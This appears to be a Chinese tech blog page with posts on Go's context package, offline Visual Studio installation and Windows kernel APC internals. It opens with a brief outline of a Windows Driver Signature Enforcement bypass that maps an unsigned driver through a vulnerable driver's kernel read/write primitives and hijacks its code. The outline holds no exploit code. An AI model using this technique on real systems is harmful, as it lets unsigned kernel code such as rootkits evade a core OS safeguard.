我吃你家米了

Windows DSE bypass

2026-06-16T00:00:00+02:00

本项目不会提供漏洞驱动利用代码，如欲使用本工具，请自行实现内核原语

本文介绍一种绕过Windows DSE（Driver Signature Enforcement）的方法

原理：

将未签名的驱动通过漏洞驱动的内核读写能力映射到text段足够大的合法驱动中
进行导入表和data段的修复
获取合法驱动的driver object地址，作为后续hook代码的参数
hook漏洞驱动的可以从用户态触发执行的代码，劫持到未签名驱动的driver entry中

具体实现请参考项目代码

项目地址：

https://github.com/include2016/DriverLoader

效果：

VisualStudio离线安装

2026-03-12T00:00:00+01:00

reference:

https://learn.microsoft.com/en-us/visualstudio/install/create-a-network-installation-of-visual-studio?view=visualstudio

CreateLayout

准备网络文件共享位置

首先确定将下载下来的VS安装包放在哪里，如果你有多个版本，则必须为每个版本创建独立的布局

下载安装器来创建布局

下载对应版本的安装器

下载vs package

vs_community_2017.exe --layout d:\VSLayout --add Microsoft.VisualStudio.Workload.NativeDesktop --includeOptional

Microsoft.VisualStudio.Workload.NativeDesktop是要安装的组件ID，这个地方有详细的列表

--includeOptional表示安装所有该组件对应的独立组件

微软是真坑人，把生成的layout拷贝到另外一台机器运行vs_setup.exe，在日志中出现如下错误

参考这篇文章的解决方案，将这个证书安装到目标机器的Intermediate Certificate Authorities，然后重新运行vs_setup.exe即可正常安装

已经构建好的可用安装包

C++ desktop开发，包含MFC

GO系列之并发与Context

2026-03-11T00:00:00+01:00

references:

https://go.dev/blog/context

介绍

在go服务中，每一个进来的请求都由自己的goroutine来负责处理，请求处理器经常启动额外的goroutine来访问后端服务，比如服务器或者RPC服务

一般情况下，goroutine在请求处理的时候需要访问该请求相关的一些特定数据，比如身份信息、认证token和请求时效，当请求取消或者超时之后，所有处理该请求的goroutine都应该快速退出，以便系统能够尽快地回收他们所占用的资源

Google开发了一个context包以便更简单便捷地传递只在该请求中有效的一些数据，context可以打破goroutine的API边界，以在更大的范围内共享数据，本文将会提供完整的代码样例以演示context的使用

context

context包的核心就是Context类型，其定义如下：

// A Context carries a deadline, cancellation signal, and request-scoped values
// across API boundaries. Its methods are safe for simultaneous use by multiple
// goroutines.
type Context interface {
    // Done returns a channel that is closed when this Context is canceled
    // or times out.
    Done() <-chan struct{}

    // Err indicates why this context was canceled, after the Done channel
    // is closed.
    Err() error

    // Deadline returns the time when this Context will be canceled, if any.
    Deadline() (deadline time.Time, ok bool)

    // Value returns the value associated with key or nil if none.
    Value(key interface{}) interface{}
}

Context没有Cancel函数，和Done频道是只接收的一个原因，会收到取消信号的函数一般都不会发送信号

Context对象是并发安全的，可以将Context传递给多个goroutine，取消这个Context即可通知所有的goroutine

Deadline函数用于判断是否应该开始工作，如果剩余时间太短，那么就不值当再去执行了，实际的代码可能会使用deadline来为IO操作设置超时时间

Value允许Context携带请求相关的数据，针对这些数据的操作必须为并发安全的

派生context

context包提供了一个函数可以用于从已经存在的context中派生新的context值，这些值来自于一棵树，当一个Context被取消之后，所有的Context派生的context也都会被取消

Background函数是Context树的root，他永远不会被取消

// Background returns an empty Context. It is never canceled, has no deadline,
// and has no values. Background is typically used in main, init, and tests,
// and as the top-level Context for incoming requests.
func Background() Context

WithCancel和WithTimeout返回派生的Context值，他可以早于父Context被取消，和请求关联的Context通常会在handler返回之后被取消

WithCancel is also useful for canceling redundant requests when using multiple replicas（没看懂）

WithTimeout可以设置deadline

WithValue提供了一种将请求范围内有效的值和Context关联起来的手段

// WithValue returns a copy of parent whose Value method returns val for key.
func WithValue(parent Context, key interface{}, val interface{}) Context

例子，Google web search

本例为一个HTTP server，他会处理这样的URL：

/search?q=golang&timeout=1s

他会将这个“golang”请求转发给Google Web Search API并渲染结果，timeout参数告诉服务器在这个时间之后取消该请求

代码被划分到3个包里面：

server包，提供main方法，以及/search的处理代码
userip包，从请求中提取用户IP地址并将其关联到Context中
google包，提供search函数，将请求发送给Google

服务端程序

服务器处理/search?q=golang这样的请求，他注册了handleSearch函数来处理/search端点，处理代码创建一个初始Context，叫做ctx并将其设置为在处理代码返回之后取消

// 使用http库的HandleFunc注册/search模式的路径到handleSearch函数
http.HandleFunc("/search", handleSearch)

如果设置了超时参数就在超时后自动取消

timeout, err := time.ParseDuration(req.FormValue("timeout"))
if err == nil {
    // The request has a timeout, so create a context that is
    // canceled automatically when the timeout expires.
    ctx, cancel = context.WithTimeout(context.Background(), timeout)
} else {
    ctx, cancel = context.WithCancel(context.Background())
}

context.WithTime和context.WithCancel都会返回一个从context.Background()（根Context）派生出来的子context

前者会在超时后自动取消，也可以使用返回的cancel函数主动取消

后者只能使用cancel函数主动取消

下一行代码是defer cancel() // Cancel ctx as soon as handleSearch returns.

这行代码可以保证在该函数返回之前调用cancel函数来取消context，避免资源的泄漏

然后我们需要获取到用户的IP并将其存储在ctx中

userIP, err := userip.FromRequest(req)
if err != nil {
    http.Error(w, err.Error(), http.StatusBadRequest)
    return
}
ctx = userip.NewContext(ctx, userIP)

NewContext使用如下代码存储数据

    return context.WithValue(ctx, userIPKey, userIP)

需要我们自定义一个key

const userIPKey key = 0

key的值我们可以随便写，别在同一个context里面冲突就行

context.WithValue会返回一个新的context，原来的context就变成了新context的父亲，构建在树上，如下所示

context.Background()  root节点
context  儿子节点
新context 孙子节点

当我们访问新context的value时：ctx.Value(key)，那么他就会先查询新context本身是否有这个key，如果没有就往上遍历，直到root节点，也就是说，原来的context被嵌入到了新context中

req = req.WithContext(ctx)
go func() { c <- f(http.DefaultClient.Do(req)) }()

执行完WithContext函数之后，如果ctx中一开始设置了timeout，则http.DefaultClient.Do会在超时的时候返回

context的特别之处

考虑下面这个例子：

package main

import (
    "fmt"
    "time"
)

type StopSignal struct {
    Stop bool
}

func worker(id int, sig *StopSignal) {
    for i := 0; i < 10; i++ {
        if sig.Stop {
            fmt.Printf("worker %d stopped manually\n", id)
            return
        }
        fmt.Printf("worker %d working %d\n", id, i)
        time.Sleep(200 * time.Millisecond)
    }
}

func main() {
    sig := &StopSignal{}

    for i := 1; i <= 3; i++ {
        go worker(i, sig)
    }

    time.Sleep(1 * time.Second)
    sig.Stop = true // stop signal

    time.Sleep(500 * time.Millisecond)
    fmt.Println("main done")
}

我们所创建的3个goroutine全部通过循环检查sig变量来确定自己什么时候应该退出，而如果我们引入context，就会变得简单和高效

package main

import (
    "context"
    "fmt"
    "time"
)

func worker(ctx context.Context, id int) {
    for i := 0; i < 10; i++ {
        select {
        case <-ctx.Done():
            fmt.Printf("worker %d stopped: %v\n", id, ctx.Err())
            return
        default:
            fmt.Printf("worker %d working %d\n", id, i)
            time.Sleep(200 * time.Millisecond)
        }
    }
}

func main() {
    ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
    defer cancel()

    for i := 1; i <= 3; i++ {
        go worker(ctx, i)
    }

    // no need to manually signal stop
    time.Sleep(2 * time.Second)
    fmt.Println("main done")
}

所有goroutine会在超时后自动退出

也可以手动取消

package main

import (
    "context"
    "fmt"
    "time"
)

func worker(ctx context.Context, id int) {
    for i := 0; i < 1000; i++ {
        select {
        case <-ctx.Done():
            fmt.Printf("worker %d stopped: %v\n", id, ctx.Err())
            return
        default:
            fmt.Printf("worker %d working %d\n", id, i)
            time.Sleep(200 * time.Millisecond)
        }
    }
}

func main() {
    var (
        ctx    context.Context
        cancel context.CancelFunc
    )
    ctx, cancel = context.WithCancel(context.Background())

    for i := 1; i <= 3; i++ {
        go worker(ctx, i)
    }

    time.Sleep(2 * time.Second)
    cancel()
    // no need to manually signal stop
    time.Sleep(100 * time.Second)
    fmt.Println("main done")
}

WindowsInternal--APC

2025-10-29T00:00:00+01:00

reference:

http://www.opening-windows.com/download/apcinternals/2009-05/windows_vista_apc_internals.pdf

本文附带的测试驱动文件

APC基本概念

APC可以使得一个线程从原先的执行流转而去执行我们指定的另一块代码

APC最重要的东西是他是针对一个特定的线程的

APC的文档很少，内核APC对他们的使用并不是公开的，而且他们内部的工作原理也只有很少一部分被外界知悉

APC之所以令我们感兴趣是因为他和windows的线程分发是密切相关的，通过分析他们我们可以更好地了解这个Windows核心特性

Widows Internal相关的书籍总是提及说APC是通过各种软件中断来被调度的

这就引起我们的一个疑问，系统是如何保证这个中断是发生在特定的线程上下文中的

这个其实就是APC的终极目标，软件中断可以中断到当前线程上下文中，而当前线程到底是哪一个是随机的

通过APC执行的代码，根据APC类型的不同，可以运行在特定的IRQL等级中，这个等级就叫做APC level

那么说了半天，APC到底是干啥的：

IO管理器使用APC来在发起该IO操作的线程上下文中完成IO操作
special APC将会在一个进程必须要terminate的时候进入到其执行流中
内核APC的实现隐藏在诸如QueueUserAPC和ReadFileEx/WriteFileEx这种Windows API函数中

APC进程上下文

通常情况下，Windows线程执行在创建了自己的那个进程的上下文中，尽管如此，线程也有一个将自己附着在另一个进程中，也就是说在另一个进程的上下文中执行（什么情况下会这样，我怎么没听说过）

Windows在管理APC的时候考虑到了这种情况，APC可能会被调度到拥有该线程的进程上下文中，也有可能被调度到当前线程所附着到的进程的上下文中

Windows通过_KAPC_STATE结构体来维护所有等待执行的APC的状态：

kd>  dt nt!_kapc_state
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar

_KTHREAD结构体中有两个类型为_KAPC_STATE的字段，一个是ApcState，另一个是SavedApcState，他们被称作APC环境

ApcState是当前线程中的APC环境，不管这个线程是在自己的进程还是别的进程上下文中，这个字段中保存着可以被交付的APC

SavedApcState字段存储的是当前上下文暂时不可用，必须等待的APC

举例来说，如果线程附着到别的进程中，此时有针对当前线程的APC，那么这些APC就会被保存到SavedApcState中，他们会等待当前线程从其他进程上下文中剥离出来

根据上面的解释，我们可以理解当一个线程attach自己到另外一个进程的时候，ApcState会被拷贝到SavedApcState中，并被重新初始化

当线程脱离的时候，ApcState将会从SavedApcState字段中恢复，SavedApcState会被清空

同时，我们可以看到负责分发APC的内核模块总是查看ApcState来搜索可以传递的APC

_KTHREAD结构体中有一个数组，这个数组只有两个元素，其实就是两个指针，一个指向当前_KTHREAD的ApcState字段，另一个指向SavedApcState字段，其中[0]号指针总是指向线程所属的进程环境，[1]号指针总是指向当前线程附着到的进程环境

举例来说，如果当前线程没有附着在其他进程，当前线程所属的进程的环境处于活跃状态，那么这个环境信息会被保存到ApcState字段，然后ApcStatePointer[0]保存ApcState的地址

如果当前线程附着到了其他的进程，那么当前线程所属的进程环境会被保存到SavedApcState中，ApcStatePointer[0]指向SavedApcState地址

最后，_KTHREAD.ApcStateIndex存储着AcpStatePinter数组的index，这个index永远指向当前线程所处的进程的环境，也就是说在上面的例子中，第一种情况下，ApcStateIndex=0，第二种情况下，ApcStateIndex=1

当我们schedule一个APC的时候，我们可以指定将其添加到线程所属进程的环境中（ApcStatePointer[ApcStateIndex]）还是当前处于活跃状态的环境中（ApcState）

APC类型

APC有三种类型

SpecialKernelModeApc，简称SKApc，这种APC运行在APC IRQL下，他是正儿八经的异步事件，他会将线程从原本的执行流改到内核模式的代码中去执行，这段代码叫做KernelRoutine

如果SKAPC被插入到线程队列中，如果该线程进入了等待状态，线程可以通过以下4个APC调用进入等待状态

KeWaitForSingleObject
KeWaitForMultipleObjects
KeWaitForMutexObject
KeDelayExecutionThread

此时线程就会被唤醒，然后执行KernelRoutine，之后重新进入等待状态

通常情况下，SKAPC会在目标线程IRQL降低至APC level（IRQL=1）时被尽快传递给目标线程，尽管如此，APC传递可以被线程禁用

当_KTHREAD的SpecilaApcDisable成员被设置为非0值时，APC的传递将会被彻底禁用

第二种APC类型是普通内核APC，regular kernel APC

简称RKAPC，这种APC运行在PASSIVE IRQL（IRQL=0），和SKAPC一样，他们会打破线程原有的执行流，将线程从等待状态唤醒从而执行APC中的代码，尽管如此，RKAPC的执行拥有更多的限制条件，后面我们会再讨论到这个东西

第三种是用户模式APC，简称UMAPC，这种APC的运行存在更多的限制

只在线程进入alertable状态时被分发，在线程调用以下四个API的时候会进入到alertable状态：

KeWaitForSingleObject
KeWaitForMultipleObjects
KeWaitForMutexObject
KeDelayExecutionThread

调用这四个API的时候需要指定Alertable参数为true，指定WaitMode参数为User

因此，正常情况下，UMAPC不会异步地进入到线程的执行流中，他们更像是一个可以被队列的workitem，他们可以在任意时间被插入到一个线程中，由线程代码决定什么时候来处理他们

APC初始化

APC由_KAPC结构体代表

kd> dt nt!_KAPC
   +0x000 Type             : UChar
   +0x001 SpareByte0       : UChar
   +0x002 Size             : UChar
   +0x003 SpareByte1       : UChar
   +0x004 SpareLong0       : Uint4B
   +0x008 Thread           : Ptr32 _KTHREAD
   +0x00c ApcListEntry     : _LIST_ENTRY
   +0x014 KernelRoutine    : Ptr32     void 
   +0x018 RundownRoutine   : Ptr32     void 
   +0x01c NormalRoutine    : Ptr32     void 
   +0x020 NormalContext    : Ptr32 Void
   +0x024 SystemArgument1  : Ptr32 Void
   +0x028 SystemArgument2  : Ptr32 Void
   +0x02c ApcStateIndex    : Char
   +0x02d ApcMode          : Char
   +0x02e Inserted         : UChar

_KAPC结构体由KeInitializeApc函数初始化，函数签名如下（undocumented）

NTKERNELAPI VOID KeInitializeApc (
IN PRKAPC Apc,
IN PKTHREAD Thread,
IN KAPC_ENVIRONMENT Environment,
IN PKKERNEL_ROUTINE KernelRoutine,
IN PKRUNDOWN_ROUTINE RundownRoutine OPTIONAL,
IN PKNORMAL_ROUTINE NormalRoutine OPTIONAL,
IN KPROCESSOR_MODE ApcMode,
IN PVOID NormalContext
);

KeInitializeApc并不会schedule APC，而只是填充_KAPC结构体的一部分字段，要想真正的schedule一个APC，还有更多的步骤要做

KeInitilizeApc会将_KAPC的Type字段设置为一个常量0x12，将当前结构体标识为一个APC对象，并设置Size字段

线程字段Thread会被设置为该函数的第二个参数的值，即_KTHREAD指针

KeInitializeApc函数并不会设置ApcListEntry字段，它会在APC真正被调度的时候被用到，它用于把当前APC链接到目标线程所有的处于等待状态的APC中

KernelRoutine字段，由函数中的KernelRoutine参数来进行设置，这个函数是APC真正会执行的代码，每一个APC都有一个KernelRoutine，根据APC的类型，还可能会有一个NornalRoutine

由KernelRoutine字段指向的函数将会在APC IRQL下被调用

NormalRoutine和ApcMode参数决定了APC的类型

如果NormalRoutine为0，那么这就是一个SKAPC

对于这种类型的APC，KeInitializeApc将会设置_KAPC.ApcMode为0，表示内核模式，并将_KAPC.NormalContext设置为0，对应的函数参数将会被忽略，也就是说如果你调用KeInitializeApc函数的时候，将NormalRoutine参数设为0，那么即使你提供了一个NormalContext也会被该函数忽略掉

如果NormalRoutine不为0且ApcMode为0，那么这就是一个RKAPC，_KAPC.ApcMode和_KAPC.NormalContext将根据函数参数进行设置

RKAPC也是执行内核代码的，因为ApcMode=0表示内核模式，但是他的特权比SKAPC要低，也就意味着他必须要在某些限制下被执行，后面会讲

NormalRoutine将会被存储到_KAPC对应的字段中，他将会在APC被传达的时候被执行

RKAPC被传达的时候，首先执行的就是KernelRoutine，在APC IRQL（IRQL=1），随后NormalRoutine会在PASSIVE IRQL（IRQL=0）下被执行，这两个Routine都是在内核模式下执行的

正如我们随后将会看到的那样，KernelRoutine有机会在NormalRoutine真正执行之前阻止NormalRoutine的执行，并且可以把NormalRoutine的地址修改掉

如果NormalRoutine不为0且ApcMode为1，那么这就是一个UMAPC，那么NormalRoutine就会在用户模式下执行

对于用户模式的APC，KeInitializeApc会将_KAPC.ApcMode和_KAPC.NormalContext设置为函数参数指定的值

NormalContext参数会被同时传送给KernelRoutine和NnormalRoutine

SystemArgument1和2不会由KeInitializeApc来设置，而是在APC被调度时他们会被传递给回调routine，我们后面将会看到更多相关的细节

Environment参数，_KAPC.ApcStateIndex决定了APC的环境，会在后面作为ApcStatePointer数组的index来选定用于存储APC状态的_KAPC_STATE的地址，如果这个字段的值为2，那么它将会被设置为KeInitializeApc函数的第二个参数，即KTHREAD的ApcStateIndex的值，由于KTHREAD的ApcStateIndex字段总是指向ApcStatePointer数组中保存当前进程环境的指针的index，也就意味着这个APC会在任意环境下被调度

最后Inserted字段被设置为0以表示当前APC还未被插入到线程中，KeInsertQueueApc负责调度APC，该函数会将该字段设置为1

初始APC调度

所有类型的APC都是由KeInsertQueueApc来插入到队列中的，对于所有的APC来说，该函数的操作都是一样的

这个函数接收4个参数

指向_KAPC的指针
两个用户自定义的参数，SystemArgument1和2
一个优先级增量

KeInsertQueueApc首先会请求一个自旋锁，这个锁存储在_KTHREAD中，然后将IRQL提升至0x1B，这样一来，他的后续操作就只能被时钟和IPI（IPI (Inter-Processor Interrupt) is a special interrupt used in multiprocessor (SMP) systems）打断

然后他会查看_THREAD的0xB8偏移，这个位置是一个1字节的flag位，他会检查第六个bit（从0开始数就是position 5）是否设置，即ApcQueueable是否被set，否则他将会立即终止并返回0

   +0x0b8 AutoAlignment    : Pos 0, 1 Bit
   +0x0b8 DisableBoost     : Pos 1, 1 Bit
   +0x0b8 EtwStackTraceApc1Inserted : Pos 2, 1 Bit
   +0x0b8 EtwStackTraceApc2Inserted : Pos 3, 1 Bit
   +0x0b8 CalloutActive    : Pos 4, 1 Bit
   +0x0b8 ApcQueueable     : Pos 5, 1 Bit
   +0x0b8 EnableStackSwap  : Pos 6, 1 Bit
   +0x0b8 GuiThread        : Pos 7, 1 Bit
   +0x0b8 UmsPerformingSyscall : Pos 8, 1 Bit
   +0x0b8 VdmSafe          : Pos 9, 1 Bit
   +0x0b8 UmsDispatched    : Pos 10, 1 Bit
   +0x0b8 ReservedFlags    : Pos 11, 21 Bits
   +0x0b8 ThreadFlags      : Int4B

然后KeInsertQueueApc会检查输入的_KAPC的Inserted字段是否被设置为1，如果为1，则返回FALSE（已经被插入了）

如果上面这两个检查都通过了的话，那么APC就会被按照如下步骤被调度

该函数首先会拷贝输入的SystemArgument1和2到_KAPC结构体的对应字段中，这些值将会被传递到APC回调Routine从而提供了一种给APC提供了上下文信息的通道，和NormalContext所不同的是他们的赋值时机，NormalContext是在APC初始化阶段就被赋值了的

之后，该函数会将_KAPC.Insereted设为1并调用nt!KiInsertQueueApc函数，其第二个参数将会被设置为优先级增量，第一个参数被设置为_KAP

nt!KiInsertQueueApc负责了APC调度的实际工作，这个函数后面会被我们再次提及

SKAPC和RKAPC

调度

由KiInsertQueueApc负责的调度可以被分为两大步骤：

将_KAPC连接到等待中的APC
更新目标线程的控制变量，从而使得线程可以转而去处理等待中的APC

链接`_KAPC`到链表

KiInsertQueueApc首先检查_KAPC.ApcStateIndex，到这里我们知道当KeInitializeApc被调用的时候，这个字段已经通过Environment参数设置过了，值2是一个pseudo-value，它的效果是设置环境为当前可用环境，不管是线程所属进程环境还是所处进程环境

KiInsertQueueApc允许另一个pseudo-value 3，这个值拥有和2类似的效果，如果ApcStateIndex值为3，那么它将会被替换为_KTHREAD.ApcStateIndex的值

因此2意味着KeInitializeApc被调用时的环境，3意味着KiInsertQueueApc被调用时所处的环境

_KAPC.ApcStateIndex的最终值被用于选择_KAPC将会被链接到的环境

KiInsertQueueApc访问目标线程的_KTHREAD的0x168偏移，即ApcStatePointer数组，由ApcStateIndex决定选择0号_KAPC_STATE还是1号，之后_KAPC将会被链接到上面选择的_KAPC_STATE中

kd> dt nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar

ApcListHead数组包含了两个链表的Head，一个是kernelmode另一个是usermode，KiInsertQueueApc使用_KAPC.ApcMode作为该数组的index，也就是说ApcListHead[0]表示内核APC，[1]表示用户APC

内核模式的APC链表被SKAPC和RKAPC共用，SKAPC会被链接到RKAPC前面，如果里面已经有了SKAPC，那么新的SKAPC会连接到他后面（仍然位于RKAPC前面）

命令线程去执行APC

本节我们将会讲解目标线程是如何从原来的执行流转而执行APC代码的，此时就会用到APC软件中断，正如我们即将看到的，这个中断只会用在特殊的场景下，控制变量也会被用到

处理过程的第一步就是检查由_KAPC.ApcStateIndex所指示的APC环境是否和当前环境一致

如果不一致，那么这个函数会直接返回，这个动作看起来非常有趣，一方面，他很合理，只要目标线程还附着在其他的进程环境中，他就无法处理APC，另一方面，这也意味着负责将线程切换到其他进程环境中的代码需要检查链表中的APC并尝试让线程去执行他们

这是众多APC interrupt不会被使用的场景之一

这个逻辑意味着内核模式的APC，即使是SKAPC，会一直处于等待状态，直到当前进程环境和_KAPC所指定的保持一致

如果环境一致，KiInsertQueueApc会继续检查APC是否是针对当前正在执行的线程的

当前线程的内核APC

在这种情况下，KiInsertQueueApc将目标_KTHREAD的ApcState的KernelApcPending字段设为1

ApcState字段存储了APC环境信息，由于我们已经决定了我们的APC是活动环境，我们直接从ApcState访问控制变量而不是从KTHREAD的ApcStatePointer来访问

KernelApcPending是一个非常重要的Flag，他在进入线程执行流的过程中扮演着非常重要的角色

SepcialApcDisable标志

如果这个标志位处于set状态，KiInsertQueueApc会检查_KTHREAD.SpecialApcDisable

+0x086 SpecialApcDisable : Int2B

如果他不为0，那么KiInsertQueueApc会直接返回

这就意味着SpecialApcDisable可以禁用所有类型的内核APC，包括SKAPC

APC是什么时候被分发的呢？一部分答案可以从nt!SwapContext函数中找到

这个函数用于加载一个线程的上下文，在他被选择运行和检查KernelApcPending标志位的时候，如果他是set状态，且SpecialApcDisable为0，那么他就会触发APC的分发

我们后面将会看到更多细节，现在我们暂且先记住一件事，那就是KernelApcPending的set状态会确保APC在线程下次被调度以运行的时候被分发（且此时SpecialApcDisable为0）

KiCheckForKernelApcDelivery会触发当前线程的内核APC的delivery，如果IRQL是PASSIVE，这个函数会将其升高至APC level并调用KiDeliverApc函数，这个函数负责deliver APC

否则他将会设置_KTHREAD.ApcState.KernelApcPending为1然后请求一个APC interrupt，这个中断将会在IRQL降低至APC level以下的时候调用KiDeliverApc，后面我们会讲到这个中断的细节

APC中断

回到KiInsertQueueApc函数中，我们已经分析了如果_KTHREAD.SpecialApcDisable非0时会发生什么，如果他是0，该函数会通过调用hal!HalRequestSoftwareInterrupt函数来请求一个APC软件中断，然后退出

在探索这个中断的效果之前，我们先记下来一件事情，那就是KiInsertQueueApc函数对APC所进行的操作是针对当前线程的

因此对于RKAPC的限制，也就是只有在特殊条件下才会被分发，也实现到了KiDeliverApc函数中，我们后面将会看到

APC中断不能在现在立刻处理，因为在KiInsertQueueApc内部，IRQL已经被升高到了0x1b，但是最终在IRQL被降低的时候会被处理，此时KiDeliverApc会被调用

这就让我们引出一个问题，在中断请求和中断处理中间这段时间，时钟仍然会继续中断处理器，由于时钟的IRQL是0x1c，比当前的0x1b要高

该中断的处理程序可以检测当前线程的时间片（quantum）已到期，并请求触发一个 DPC（延迟过程调用）软件中断，以调用线程调度器。

在这种情况下，当IRQL被降低至PASSIVE等级的时候，还有两个软件中断，一个是DPC，一个是APC，前者的IRQL等级更高，因此会先执行

所以线程调度器被执行，他可能会选择一个别的线程来运行，最终IRQL会降低到PASSIVE，APC中断会被处理，但是在错误的线程上下文中，尽管如此，还有两个处理APC的步骤可以挽救这个错误

第一个是APC分发器，KiDeliverApc函数，最终会被APC中断所调用，并允许其发现当前没有APC在列表中，如果是这种情况，他会直接返回，因此在错误的线程中执行并不会引发任何问题

尽管如此，我们可能会想我们存在失去正确线程的APC的风险，因为中断已经处理完了，但是事实并不是这样的，由于KerneApcPending标志位仍然处于set状态，并且SwapContext会查看原始线程并给予他再次运行的机会，重新触发KiDeliverApc函数

APC中断真的会break into到错误的线程中吗

测试代码

我专门为这篇文章写了一个测试驱动，确认了上面讲到的情况确实是有可能发生的，这个测试的测试函数是ApcSpuriousIntTest

这个函数在SwapContext函数的KiDeliverApc函数安装了一个hook，来追踪这两个函数什么时候被调用，以及调用时的一些数据，然后他会升高IRQL到DISPATCH level(IRQL=2，比APC level高一级)，调度APC并浪费时间来等待DISPATCH中断被请求，之后将IRQL降低到PASSIVE，此时APC和DPC都可以被处理，这个驱动会向调试器控制台打印trace信息

下面是我捕捉的一个trace信息

ffffd0823e0a5080是我们降低IRQL之前的线程，我们在将irql降低至passive之后，执行流就会被swapcontext抢占，因为此时存在dpc中断，swapcontext会进行线程调度，从trace中可以看到即使是kernelapcpending为1，如果不是将要切换到ffffd0823e0a5080线程，kideliverapc也不会deliver apc，直到new thread是ffffd0823e0a5080的时候，kideliverapc才会真正的deliver apc，证据就是在kideliverapc trace后面就是我们一开始插入的kernelapc的ApcKernelRoutineSIT的trace打印

另外我们还可以注意到的一点就是，我们在降低irql之后，此时是同时存在dpc和apc中断的，你可以看到swapcontext trace之后就是kideliverapc trace，因为dpc中断处理完了，就是处理apc中断，但是此时新线程并不是ffffd0823e0a5080，即非目标线程，所以他是不会deliver apc的

针对其他线程的kernel apc

在这种情况下，kiinsertqueueapc函数需要另外一个用于保护KPRCB的自旋锁

该函数会检查目标线程的状态，_kthread的state字段存储了线程状态信息，一共有以下几种状态

ready 1
running 2
wait 5
deferredready 7
gatewait 另一种等待状态

运行状态的thread

如果线程状态是running，那么他肯定是运行在另一个处理器上的，因为我们已经确定他是另一个线程了，而当前处理器正在运行当前线程（kiinsertqueueapc），如果另一个线程还处于running状态，那么只有一种可能，那就是他运行在另一个处理器中

那么就会产生一个IPI中断（interprocessor interrupt）（处理器间中断），这个中断会被发送到目标线程所在的处理器，从而触发针对目标线程的APC中断

线程处于等待状态

在某些特定条件下，kiinsertqueueapc会唤醒目标线程并执行apc

kthread的waitirql字段保存了他处于运行状态时的irql

如果kiinsertqueueapc发现目标线程的waitirql不为0，就会退出，（为甚么会退出，这两者有什么逻辑关系吗？）

这就让我们对这个字段开始感兴趣了，当一个线程进入到一个等待状态，这个字段记录运行时的irql，即转换到wait状态前的irql等级

这个观点可以由对kewaitforsingleobject函数的分析来确认，该函数会将当前irql存储到这个字段中

因此，kiinsertqueueapc背后的逻辑很简单，如果线程没有运行在passive等级，那么apc中断就无法触发，因为apc中断等级是1，如果线程不是运行在passive等级，即irql=0的等级，那至少就是运行在irql=1等级，apc中断也是1，那么就无法抢占目标线程的执行流，这也是为什么前面kiinsertqueueapc在发现waitirql不为0就会退出的原因

另外还有一点需要注意的是，处于等待状态的线程的waitirql其实只可能是两个值，要么0要么1，因为高于apc的线程是无法被调度的，dpc等级也就只有2而已

和往常一样，kernelapcpending字段被设置，来保证当时机合适时，apc将会最终被delivered

如果线程确实是在passive等级下等待，那么kiinsertqueueapc会检查specialapcdisable字段，如果该字段不为0，他会直接退出，不会尝试唤醒线程

如果apc是启用状态，且是一个SKAPC，那么kiinsertqueueapc函数会唤醒目标线程，该线程会由swapcontext直接唤醒并派遣apc

如果这是一个RKAPC（regular kernel apc），那么将会进行两个额外的检查

首先，如果kernelapcdisable不为0，kiinsertqueueapc会直接退出，不会唤醒目标线程，因此kernelapcdisable和specialapcdisable字段的作用类似，只不过他是针对RKAPC的

第二个检查是针对apcstate字段的kernelapcinprogress字段的，如果该字段不为0，那么kiinsertqueueapc就会退出

nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x020 Process          : Ptr64 _KPROCESS
   +0x028 InProgressFlags  : UChar
   +0x028 KernelApcInProgress : Pos 0, 1 Bit
   +0x028 SpecialApcInProgress : Pos 1, 1 Bit
   +0x029 KernelApcPending : UChar
   +0x02a UserApcPendingAll : UChar
   +0x02a SpecialUserApcPending : Pos 0, 1 Bit
   +0x02a UserApcPending   : Pos 1, 1 Bit

我们将会看到在kideliverapc函数中，他会设置kernelapcinprogress标志位，在调用RKAPC的normal routine之前

这个检测意味着如果线程进入等待状态，在处理RKAPC的过程中进入等待状态，那么我们可以保证它不会被其他的RKAPC所劫持，换句话说，RKAPC不会套娃（nested）

我们在前面已经看到过，当APC是针对当前线程的时候，kideliverapc会被调用，不管是什么类型的APC，不管是RKAPC还是SKAPC

线程唤醒和kiunwaitthread

其实在我的最新版本上的win11上面已经不存在这个函数了，win11上的是kitryunwaitthread

如果kiinsertqueueapc决定唤醒线程，他会通过调用kiunwaitthread函数来完成，这个向我们展示了一个有趣的信息

DDK文档表明当一个等待线程被派遣，来处理一个内核APC的时候，处理完成后他会重新进入等待状态，也就是说这个线程不会在处理完apc之后从kewaitfor...函数中返回，从另一方面来讲，ddk也说明了一个等待线程被派遣用于处理一个用户模式的apc的时候将会从wait函数中返回，返回值是status_user_apc

这个在微软文档中确实可以看到

status_kernel_apc定义为0x100

kiunwaitthread的edx决定了目标线程在处理完apc之后是否应该从wait函数中返回，如果是status_user_apc，那么等待函数就会返回，如果是status_kernel_apc，那么在处理完apc之后会重新恢复为等待状态，即调用者永远都不会看到这个返回值，这也是为什么status_kernel_apc并未被documented

kiunwaitthread的另一个传入参数是优先级增量，这个参数来自于kiinsertqueueapc的caller给他传进来的，有趣的是，如果kiinsertqueueapc必须要自旋来等待同步锁的时候，这个值会会在每次迭代的时候增加1，意味着优先级会一直上升，来补偿在自旋中损失的时间

唤醒目标线程之后，kiinsertqueueapc会释放自旋锁并退出

针对gatewait状态下的thread

gatewait状态的值是8，是另一种类型的等待状态

对于这种线程，kiinsertqueueapc首先会同步threadlock字段

nt!_KTHREAD
   +0x040 ThreadLock : Uint8B

这个锁的用法跟自旋锁很像，只不过不会真的调用正常的自旋锁函数，处理器会在一个循环中自旋直到成功修改他的值

在拥有锁之后，kiinsertqueueapc会检查线程状态是否仍然为gatewait，如果改变了，就释放所有锁并退出，这是正常的，因为对于kiinsertqueueapc来说，除了running、wait和gatewait状态，kiinsertqueueapc什么都不会做，只会设置一个kernelapcpending标志

这意味着threadlock保护了线程状态，函数改变状态，只会在获取到锁之后

